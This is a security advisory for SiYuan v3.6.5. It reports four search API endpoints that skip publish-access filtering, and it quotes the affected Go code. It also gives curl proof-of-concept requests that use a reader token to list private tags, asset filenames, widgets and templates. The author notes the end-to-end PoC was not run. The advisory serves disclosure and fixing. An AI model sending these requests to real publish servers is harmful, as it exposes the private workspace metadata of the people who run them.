GHSA-fmh9-gpqh-g53g

Summary

The advisory GHSA-c77m-r996-jr3q patched getBookmark so that, when invoked by a publish-mode RoleReader, results are filtered through FilterBlocksByPublishAccess to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary.

Details

Affected files / lines (v3.6.5):

kernel/api/router.go:181-190 — all four endpoints registered with CheckAuth only, which the publish-service RoleReader JWT passes:

ginServer.Handle("POST", "/api/search/searchTag",      model.CheckAuth, searchTag)
ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate)
ginServer.Handle("POST", "/api/search/searchWidget",   model.CheckAuth, searchWidget)
ginServer.Handle("POST", "/api/search/searchAsset",    model.CheckAuth, searchAsset)

kernel/api/search.go — none of the four handlers branches on model.IsReadOnlyRoleContext(c) to filter the response, while their peers in the same file do. Compare:

// :29-65  listInvalidBlockRefs — DOES filter:
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

// :67-93  getAssetContent — DOES filter (FilterAssetContentByPublishAccess)
// :95-115 fullTextSearchAssetContent — DOES filter
// :250-285 getEmbedBlock — DOES filter (FilterEmbedBlocksByPublishAccess)

// :156-176 searchAsset — does NOT filter
ret.Data = model.SearchAssetsByName(k, exts)

// :178-196 searchTag — does NOT filter
tags := model.SearchTags(k)
ret.Data = map[string]any{"tags": tags, "k": k}

// :198-213 searchWidget — does NOT filter
widgets := model.SearchWidget(keyword)

// :233-248 searchTemplate — does NOT filter
templates := model.SearchTemplate(keyword)

model.SearchAssetsByName, model.SearchTags, model.SearchWidget, model.SearchTemplate operate over the entire workspace database / filesystem, not just the publish-visible subset. A FilterTagsByPublishIgnore helper already exists in kernel/model/ and is used by getTag itself (kernel/api/tag.go:58-62), confirming the maintainers' intent.

PoC

End-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a RoleReader JWT from the publish reverse-proxy (per kernel/server/proxy/publish.go). Once authenticated as the Reader against the publish port:

# Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook.
curl -X POST https://<publish-host>/api/search/searchTag \
     -H 'Authorization: Bearer <reader-jwt>' \
     -H 'Content-Type: application/json' \
     -d '{"k":""}'

# Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook.
curl -X POST https://<publish-host>/api/search/searchAsset \
     -H 'Authorization: Bearer <reader-jwt>' \
     -H 'Content-Type: application/json' \
     -d '{"k":""}'

curl -X POST https://<publish-host>/api/search/searchWidget   -H '...' -d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchTemplate -H '...' -d '{"k":""}'

Each call returns the global result set without applying FilterTagsByPublishIgnore / FilterAssetContentByPublishAccess / equivalent.

In this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage.

Impact

A publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate:

• All tag strings used anywhere in the workspace — frequently contains person names, project codenames, internal identifiers.
• All asset filenames uploaded to the workspace — frequently contains the contents of CV.pdf, contract.docx, salary-2026.xlsx, etc.
• All widget names and template names installed in the workspace.

This violates the publish-service trust boundary. Users intentionally mark notebooks as "invisible to publish" specifically to keep this metadata out of public reach.